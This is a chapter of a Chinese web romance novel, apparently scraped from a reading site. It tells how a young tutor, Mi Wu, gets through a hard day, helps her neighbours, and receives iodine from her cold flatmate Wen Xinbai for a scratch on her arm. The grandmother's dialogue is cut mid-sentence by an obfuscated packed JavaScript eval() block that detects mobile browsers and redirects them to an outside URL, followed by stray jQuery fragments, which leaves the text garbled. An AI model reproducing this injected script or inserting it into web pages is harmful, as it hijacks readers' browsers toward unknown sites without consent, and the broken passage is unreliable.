默认冷灰
24号文字
方正启体

4. 米粿和碘酒

作者:雾斐本书字数:K更新时间:
    弥雾又恢复到了之前的工作强度,每天在家的时间如清晨转瞬即逝的朝露。


    忙碌是情绪的麻药,上班的日子里她很少想起温新白。每天被学生环绕,接待走进杂货铺的客人,就会阻止她想到温新白的冷漠和难以靠近,那种战栗全身的挫败和懊丧就会短暂退潮。


    一个雨水涟涟的周一,杂货铺店休。弥雾从补习班回家途中,发现路边新开业了一家书店,全场书籍六八折。


    她并不喜欢看书。看书意味着安静,安静即静止,静止就是站在礁石上,等待被涨潮的海无声无息吞没。


    从小到大,弥雾课外书没看几本,课本倒是被她翻得稀烂。如果不是为了学习考上好一点的大学,她也不想翻课本,那些刻板的黑体字哪有真实的世界生动?


    可那天真的是鬼使神差,弥雾脚步一顿,走进了书店。


    书店装修简约精致,书架上的标签分门别类,她走马观花地逛,不经意扫到一本《植物百科》,细细端详两秒,书本就落到了臂弯。


    旁边是生活区,弥雾又看到一本书,推荐语是“畅销日本30年”,书名叫《饲养栽培图鉴》,封面彩绘各色动植物,一行粗体字标注:“养宠物、种花草,近距离接触大自然”。


    两分钟后,弥雾抱着《图鉴》结了账,《植物百科》回到书架,灯光在塑料薄膜上打下高光。


    四十元八角。


    打完折书本的价格。


    弥雾买完就把书拆了,动作很快,粗粗浏览几页。她果然还是不喜欢看书,哪怕这本图书许多都是绘图。


    她有点后悔。


    买这本书没有任何缘由,它只是《植物百科》的替代品,她掩耳盗铃的产物。


    莫名其妙买下这本书,浪费四十元八角,弥雾脑子里浮现出妈妈失望的眼睛,耳边已经能听到一声疑问:“钱是从天上刮来的吗?”


    弥雾抱着书返回,脸色为难地问刚刚为她结账的店员:“你好,我能把这本书退了吗?”


    在店员诧异又奇怪的眼神中,她难为情地解释:“我好像买错了。”


    店员看了眼她的书,温柔地拒绝了请求:“您的书已经拆封啦,没法退了。不好意思女士,希望理解。”


    弥雾指尖划过书页,纸质书独有的锋利和粗糙刺着指腹,她尴尬地笑,说了句不好意思,悻悻地走出了门。


    白皖的雨潮闷又黏腻,落在伞上,心里却在噼里啪啦,像炸在耳边。弥雾感觉自己偏离了航线,尽管她并不知道航线是否正确,但只是短暂走向岔路的书店,一级警报就会响动。


    果然,只有一成不变才是最安全的。


    回到家,温新白的两双拖鞋静静地放在鞋架上。弥雾松了口气,快步走进房间,把书塞进自己几乎不会打开的抽屉,堆满不用的说明书。


    之后很长一段时间,弥雾改了作息,比之前早起半小时。这样在出门时,她有百分之百的把握不会遇到在阳台浇花的温新白。


    尽管以前他们也不过是目光短暂地触碰一瞬。


    下班后弥雾很少遇见温新白,常常是她回家时对方已经在卧室,门缝中漏出点些许光亮。


    偶尔有那么三两次,她揉着肩膀往楼栋里走,抬头发现温新白先她几步台阶。


    白色耳机线缠绕他修长的手指,低垂的眉眼冷淡漠然。


    他们的视线短暂交接又错开,声控灯在头顶一盏盏亮起。


    开门,关门,不说一句话。


    弥雾以为自己能一直和温新白保持这种微妙又诡异的平衡。


    可一切被打破,也不过是在很普通的一天。


    如果一定要找出点特别——那天特别糟糕,但其实也特别幸运。


    上午课间,弥雾正在给一位学生讲题。而教室的对角线,两个男生因为五子棋发生争吵。等她发现时,两人已扭打成一团。


    无奈双手难敌四拳,最后是培训班负责人将他们拉开,带去调解,弥雾留在教室管班。


    她第一次遇到这种情况,坐在椅子上人都是懵的,手臂被划破的地方火辣辣的疼,头顶悬着一把剑,不知何时落下。


    被学生家长叫住时,她听到利剑噌得一声刺下,直直贯穿。刹那间,她们的指责、质问如潮水般涌来,劈头盖脸。铁锈水漫上来,扼住她的咽喉,弥雾张着嘴,哑口无言。


    如果她讲题时分心看班,是不是能及时制止?是不是就不会遭受质疑和指责?


    她用余光瞥着负责人的脸色,这一瞬间觉得自己很卑鄙且自私。


    做错了事,却还想不被解雇。


    小朋友因为她的疏忽挂了彩,她却只纠结着自己的感受。


    负责人送走两位家长后,没有问责弥雾,小朋友闹脾气很正常,是家长太小题大做。


    弥雾对着负责人鞠躬道谢又道歉,胸口却还是郁结。


    下午也不顺利。


    这天是周末,杂货铺客流量大。弥雾整个下午都在介绍和打包,等完全空下来,收拾商品,发现一个陶瓷项链从中间断开了。


    损坏者悄无声息地把它放回原位,拼在一起。


    弥雾抓紧时间把店里其他物品都检查了一遍。在确定没有其他物品损坏后,向店长报告情况。但她没有查监控的权限,客人也已走远,只好咬咬牙说这串项链的钱从她工资里扣。


    店长心态反倒很好,没有责怪她,也没说扣钱。


    这种情况在所难免,什么样的人都遇到一遍才算是开店,别往心里去。这是原话。


    不对,不应该这样的。店长要斥责她,惩罚她,而不是温温柔柔地反过来安慰她。


    弥雾觉得自己是温水里的青蛙,舒适却难捱,忧心随时死去。


    直到下班,她脑子里都在倒放下午的细节,扣出和项链有关的画面,但于事无补。


    踩上公交车踏板,零星乘客,空荡车厢,弥雾也是空的,像一捏就瘪的纸袋。


    “湖苑南街到了。”


    弥雾下车,闷热的风黏上来,手臂浮起一层鸡皮疙瘩。


    湖苑南街就是小区后街。今天格外热闹,餐馆各个满座,街边的桌子也座无虚席,人声鼎沸。


    弥雾垂头丧气地从人群中穿梭而过,那些咬开啤酒盖吹嘘感慨的声音缥缈又真切,像烟一样浮在耳边,很快就消散。


    “小雾啊,小雾!”一道苍老的声音穿透烟云,弥雾扭头寻找,发现菜摊奶奶在冲她招手。


    “诶。”她下意识三步并作两步上前。老奶奶正在吃力地推车,陈旧的菜筐被满满当当的菜挤压变形,她对着弥雾求助,“能不能帮我搭把手。”


    弥雾手上使劲,听到老奶奶解释:“今天我儿子送孙子去医院了,只能一个人收摊。”


    “没事儿吧?”弥雾把车推进菜场里面,帮着把筐子搬下来。


    “打篮球的时候摔了一跤,骨折了。”老人声音心疼。


    弥雾不会安慰人,只能单薄地说:“啊,那得多休息休息。”


    “是啊。”奶奶叹了口气,关心道,“你刚下班回来吧?”


    “嗯。”弥雾脸上挂着浅浅的笑,帮完老奶奶,主动道别,“奶奶我先回去了啊,这几天要帮忙你喊我就好。我都这个点回。”


    “谢谢你啊,小雾。”


    “没事啦。”弥雾走出菜场,脚下踩到菜叶,她蹙眉,用鞋尖轻轻一踢,朝老奶奶挥手告别。


    没走两步,又一道粗犷的声音喊着她:“小雾老师,小雾老师。”


    弥雾顺着声音找去,肉铺老板脸颊堆着肉,憨憨朝她笑。


    “咋啦王叔。”弥雾在他家买过几次肉,有回遇到他儿子写作业,还指出过几道错题。


    “乐乐写作业写了一下午,说是有好几道题不会。”老板不好意思地挠挠头,发出请求,“您看能不能辅导他一下?”


    乐乐就是肉铺老板的儿子。弥雾朝里头张望,在放肉的冷藏柜旁摆着一张桌子,小小一个男孩握着铅笔规规矩矩坐着,头顶的白炽灯被风扇吹得微微摇晃,影子长长短短。


    “行啊。”弥雾自然地走进去,肉腥味扑鼻而来,支起来的桌子满是油腻,但男孩的作业下被垫了好几张报纸,作业上的字迹稚嫩但清晰,干干净净。


    “哪里不会呀?”弥雾拉了一条凳子坐到旁边,男孩给她抽纸的手停顿住,最后只是攥紧了铅笔。


    弥雾抽过作业本,发现题目已经做了记号。


    乐乐做的是小学奥数。


    弥雾高中学文,但更擅长理。


    进入高中她爱上刷奥数题,从小学做起,像打怪一样,层层打上去。


    眼前这些题目,她是信手拈来。


    弥雾抽出一张草稿纸,从题目开始分析。


    “你的出发点是对的,但是你被题目迷惑了。”她肯定男孩的解题思路,又为他拨开迷雾,“这句话的意思是……”


    一题讲完,弥雾又眨眨眼睛,语气轻快:“姐姐还有个更快的方法,想听吗?”


    等男孩点头,她唰唰唰写出一条更快的思路,又细细讲了一遍。


    男孩不会的题并不多,但弥雾讲了起码四十分钟。每道题她都认真倾听男孩的思路,在出错时指出,同时毫不吝惜地分享更便捷的方法。


    讲到最后,弥雾口干舌燥。


    乐乐性格闷,不爱说话,但在弥雾放下笔后,也忍不住亮晶晶地看她,难掩崇拜:“小雾老师,你好厉害。”


    弥雾笑起来,白炽灯落在她眼里,星光熠熠:“那当然,姐姐高考数学可有140呢。”


    “满分不是一百吗?”


    “高中满分一百五。”


    “那我以后数学要考150,比姐姐还厉害。”


    弥雾脸颊的酒窝加深,她竖起大拇指,给予充分的鼓励和肯定:“姐姐非常期待。”


    肉铺老板看弥雾讲得差不多,从冰箱里拿出一袋肉,想要塞给她:“小雾老师,乐乐耽误你那么长时间,这是我的一点心意。都是很好的猪蹄,你回去拿黄豆炖很香的。专门留给你的,总让你教我儿子,我也很不好意思。”


    “哪有总教,算上今天才两次,举手之劳啦,不用这么客气的。”弥雾将猪蹄放回桌上,“王叔,我不会炖猪蹄,给我浪费啦。”


    “那我转你钱,按照你在补习班上课的费用来,行不?”肉铺老板手在围裙上蹭,掏出手机想给弥雾钱。


    “真没事。”弥雾笑着摆手,看王叔执意要给,话里拐了个弯,“这样,我下回要是想做肉丝面,就来找你切块肉,行不?”


    肉铺老板看拗不过弥雾,只好把手机放回口袋,爽朗道:“行,只要你想吃,随时来。”


    “乐乐很聪明,下回还有不懂的,别不好意思,直接来问我。”弥雾揉了揉男孩的头,看他的耳朵慢慢堆起红。


    从肉铺出来,周围大排档的人变得稀落。露天的桌子上地上一片狼藉,服务员们三三两两在打扫。


    弥雾走在路上,语气是一反常态的懊丧,夹杂着恨铁不成钢:“有钱不赚王八蛋。明明生活处处要用钱。”


    说着又直叹气,是啊,生活处处要用钱。


    她听说过,肉铺老板本来不卖肉,在小单位朝九晚五。妻子前两年意外火灾去世,一把火把周围房子也烧了,要赔不少,还有孩子要养,看到肉铺转让,他筹钱盘下来,起早贪黑地养孩子还债。


    生活的意外就像天上毫无征兆掉下来的一块砖,高空抛物,砸谁谁死,自认倒霉。


    不长的后街,弥雾花了一小时才走出来。


    后街和小区后门之间,有一段转角小路,很短,窄窄一条像狭管,也像烟囱。


    路灯年久失修,晚上大家都走明亮的大路,不常有人经过。


    弥雾偶然发现后,这里就成了她的秘密基地。


    她拖着长长的影子匿进阴暗,居民楼的零星灯光和月色浅浅晕过这里,带来晦暗朦胧的光。


    她终于可以收起笑,上扬的嘴角耷拉下来,又深又长地吐出一口气,吐到肚子空瘪。


    如果要把心形容成海绵,弥雾觉得自己再也挤不出一滴水。


    从小到大,她认为欺骗性最强的一句话就是“时间就像海绵里的水,只要挤挤,总会有的”,然后时间可以被替换成精力、努力。可这些都和时间一样,是每个人拥有的固定资产。


    好比一天只有二十四小时,挤完了用的就是明天的额度。如果把时间换成工资,那不停地挤压,就是在不停地超前消费。


    真奇怪,社会不提倡毫无节制地超前消费,却一味鼓动人们再挤挤时间,再挤挤精力,再努努力,不够,还不够。


    究竟要怎样才够?


    弥雾想了半天,觉得自己也没资格问这个问题,因为一直在挤压这颗心的,是她自己。


    是她自己停不下来。


    在狭道停留的一刻钟,是弥雾给自己的休息时间。时间一到,她跺跺脚,搓搓脸,挤眉弄眼,像给泥塑重新捏上笑脸地走出去。


    小区里明亮的光线倾泻而下。路灯挨着树丛,每片树叶都被照得碧透,经络分明,风一吹,簌簌直抖。


    在楼梯口遇到了邻居奶奶的孙女,许潇潇。她一身干净整洁的蓝白校服,高马尾,露出饱满光洁的额头,背笔直挺拔,逢人就笑,她的笑容很有感染力,像一朵阳光的向日葵。


    弥雾还没注意到许潇潇,她就已经欢快地喊她名字对她招手了。


    “小雾姐姐!”


    弥雾走上前,许潇潇自然地挽住她的手,头靠着她的,开始叹气:“高三太累啦!”


    “是不是做不完的试卷,背不完的书?”弥雾抿唇轻笑,揉了揉许潇潇的手,“哪天想找我聊天,随时来敲门。”


    “必须的!”


    许潇潇语速很快地和弥雾分享着学校的事,从老师讲题怒发冲冠到学生逃课去看湖边多出来的大鹅,真是五彩缤纷的校园生活。


    弥雾听得乐呵,不知不觉就走到了三楼。


    许潇潇的奶奶已经打开门,满脸笑意地看着她们。


    “整栋楼都能听到你们的笑哦。”


    “奶奶好。”弥雾乖乖地打招呼。


    “小雾回来啦?”奶奶笑眯眯的,一拍脑袋,对许潇潇说,“去厨房把今天做的米粿拿几个给小雾,生的熟的都拿几个。”


    “诶,不用不用,我吃过晚饭了奶奶。”弥雾连忙摆手,但许潇潇已经跑进了厨房。


    许奶奶叮嘱弥雾:“那熟的放冷藏,明早热一下当早饭,生的放冷冻,要吃的时候拿出来蒸三十分钟就好。”


    弥雾拒绝不了,内心吊着一颗石头地感动,难为情地说:“奶奶,你总给我东西,我就给过你们一次特产。”


    “你这傻孩子,哪有人一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310703|198825||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来一回都算那么清楚的?”奶奶拍拍弥雾的手,开玩笑宽她的心,“真要这么算,你给我倒垃圾,我是不是也得给你倒?”


    “哎呀,奶奶……”


    “好了,给你你就收下。”奶奶从许潇潇手里拿过打包盒,递给弥雾,“快回去休息吧,不吃记得放冰箱啊。”


    “小雾姐姐晚安啊。”许潇潇扶着奶奶的肩膀,探出身对着弥雾笑。


    “晚安。”弥雾道过谢,关上门的那一刻没忍住吸了下鼻子。


    搬来这里的第二天,弥雾就去敲门送了特产。


    许奶奶是看到他们搬家的,误以为弥雾和温新白是情侣,谈话间弥雾尴尬地连连摆手,解释他们只是合租,因为都是白皖大学的。


    老奶奶听完,一脸神秘地从柜子里找出一瓶粉色喷雾,递给她。


    弥雾还没来得及疑惑,许潇潇就抢答:“这是我们自制的防狼喷雾,小雾姐姐你放到平常的包里。”


    “如果那个男孩欺负你,你就喊一声,我耳朵灵着呢,立马给你报警。”许奶奶补充道。


    弥雾忍俊不禁,心头却热热的,点头说好。


    许奶奶和许潇潇是她在白皖遇到的第一份温暖,平常有能帮的上的,她也会去帮忙。


    一来二去,熟了起来,许奶奶平常多做了点什么,都会分给弥雾。


    弥雾拿得不好意思,毕竟她总认为自己付出太少,却得到太多。


    弥雾拿着米粿到餐桌前坐下,白团子还在冒着热气,淡淡的糯米香唤醒了她的胃。其实晚上她并没有吃东西,接二连三的糟心事让她心情不佳,没什么胃口。


    此刻味觉被唤醒,白团子咬开是炒熟的陷,还没来得及品尝出有哪些菜,鲜美的味道在舌尖转瞬即逝,三两口一个就下肚了。


    吃到第二个,弥雾有意放慢了速度,但随着咀嚼的增加,馅料的味道层层递进,吃到一半,她脸色大变,凑到垃圾桶旁吐了出来。


    馅里有香菇。


    弥雾香菇过敏。


    不知道是不是心理作用,弥雾感觉自己身上已经开始发痒,皮肤下的红团蠢蠢欲动,她连忙去房间翻出氯雷他定,挖两粒吞下。


    吃了药,心稍定,但怎么处理这些米粿就成了头疼的问题。


    重新送回去很不礼貌,丢掉又实在可惜。


    她迷茫地抬头,视线却一点点聚焦于客厅门上那个艳丽的香包。


    弥雾冒出了一个略显荒诞的念头。


    如果把这些米粿送给温新白,他会收下吗?


    肯定不会。温新白不喜欢她的套近乎,保持距离才是他最满意的。


    难道任凭这些米粿浪费丢掉吗?


    屋子里很安静,窗外的蝉声因此更加清晰。弥雾端起打包盒,走向温新白房间。


    她承认自己还是有私心。


    像飞蛾扑火一样,尽管被拒绝一百次,也还是会找到第一百零一次机会,去尝试靠近温新白。


    非常厚脸皮。


    其实弥雾也认真地思考过,为什么总要去和温新白处好关系,甚至带着几分讨好。


    难道温新白身上有什么她不得不靠近的资源?利益?


    没有,不过是一副好看的皮囊,甚至脾气还很臭。


    最后,就只能归结于胜负欲。讨好周围人是她从小就拥有的天赋,而此刻在温新白这儿吃亏败北,她不甘心。


    咚咚咚。


    静默等候的这几秒被反复拖长,弥雾的心脏在喉咙口怦怦直跳,脑海里反复闪过预设的温新白拒绝话术,脚底紧张地想要逃跑。


    咔哒,门开了。


    门被拉开一人宽,温新白单手插兜,神色冷倦地撩起眼皮,声音冷淡疏离:“什么事?”


    弥雾拿出打好的腹稿,脸上挂着标准的讨好式笑容:“这是邻居奶奶自己做的米粿,给得挺多的,分你一些。”


    “还挺好吃的,尝尝吗?”见温新白不说话,她往前递了递,热气腾腾的米粿散发出诱人的香味。


    温新白的目光狐疑,游移到弥雾脸上打量几秒,而后才转移到米粿上,意味不明。


    “你放心,没毒。”弥雾果然看到温新白的脸上流露出疑惑和不信任,意料之中的反应却让她并不开心,无奈道,“我只是觉得有好东西要分享,我们虽然是各住各的,但总归在一个屋檐下,对吗?”


    这份破罐子破摔的坦诚反而让温新白放下几分偏见。他依然懒得说话,但一反常态地接过盒子,修长的手指稳稳托住透明打包盒,指尖短暂触及,弥雾被微凉的温度刺得蜷缩起手指。


    “桌上还有一盒是生的,我放冷冻层,你要想吃直接拿就行,冷水上锅蒸三十分钟。”弥雾侧身指着桌上那盒。


    “好,谢谢。”温新白点点头,收回视线扫过弥雾的小臂,眉头微顿。


    “客气啥呀,我们是室友嘛。”弥雾在温新白接下后,语气也轻快起来,一双眼睛水汪汪弯得像月牙,“要是不够,你直接把剩下的蒸了吃就行。我就先回房了。”


    弥雾转身准备拿过桌上的包回房,刚走到桌前,温新白的声音就从身后传来。


    “等一下。”


    “嗯?”弥雾扭头,语气不解,“怎么了吗?”


    温新白蹙着眉头,似乎有些纠结,反手把米粿搁在房门边的柜子上,蹲下身到抽屉里翻找。


    他的卧室只开了一盏落地灯,暖黄的光线四散,短袖贴在他的脊背,显露出少年劲瘦的身材,经光线一勾勒,平添几分柔和。


    温新白低着头,乌黑头发下,露出一截冷白的脖颈,中间那颗浅褐色的痣像墨笔不小心晕在白色宣纸,让人忍不住想拭去。


    天气好热,温新白也没开空调,里面只有一把风扇摇头晃脑,弥雾忽然觉得有些口干舌燥。


    她挪开视线,借着这点空隙环顾温新白的房间,称得上是极繁主义。


    毛茸茸的灰白地毯上堆了几本书,弥雾看不清书名,几张碟片零星散着,拼图堆在一边。


    落地灯和谐地融入这幅画面,将每一件物品都照得闪闪发光。


    温新白在翻找的是一个奶油白铁皮柜,新添置的。复古陶瓷花瓶上插了几束叫不上名字的花,旁边摆有一个陶瓷杯,吹风筒的造型,像是被人捏过了头。土棕色,简单绘制着一个粗糙的笑脸。


    弥雾下意识想再往里探究,视线被温新白的肩膀挡住。


    他站起身,微微扬起下巴,不经意地递过来一瓶碘酒和一袋棉签,错开弥雾探究的目光,声音也漫不经心。


    “伤口记得及时消毒,会发炎。”


    碘酒瓶在温新白宽大的手掌中变得小小一个,标签角上还有残留的黄渍。


    弥雾的视线一瞬间错乱,像失控的舞台转灯,从落地灯移到温新白棱角分明的侧脸,又晃到碘酒,转到铁皮柜,最后落到棕黄的木地板,带着深浓的疑惑和不可置信。


    她自己都忘了小臂上因为拉架被小朋友抓出来的红痕,如果不沾水,都不会再疼痛。


    她皮肤白,所以这几串红痕才看上去格外可怖。但又因为在小臂背面,平常人也不会注意到。


    温新白一直举着手,见弥雾迟迟没反应,最后一点耐心耗尽,不耐烦地啧了一声,“等着我给你涂?”


    弥雾回过神,伸手从他手中接过,嘴上的谢谢还没来得及说出口。


    嘭——温新白关上了门。


    “啊?”弥雾在门口呆愣两秒,轻轻敲门说,“谢谢啊,我用完还你。”


    “送你了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)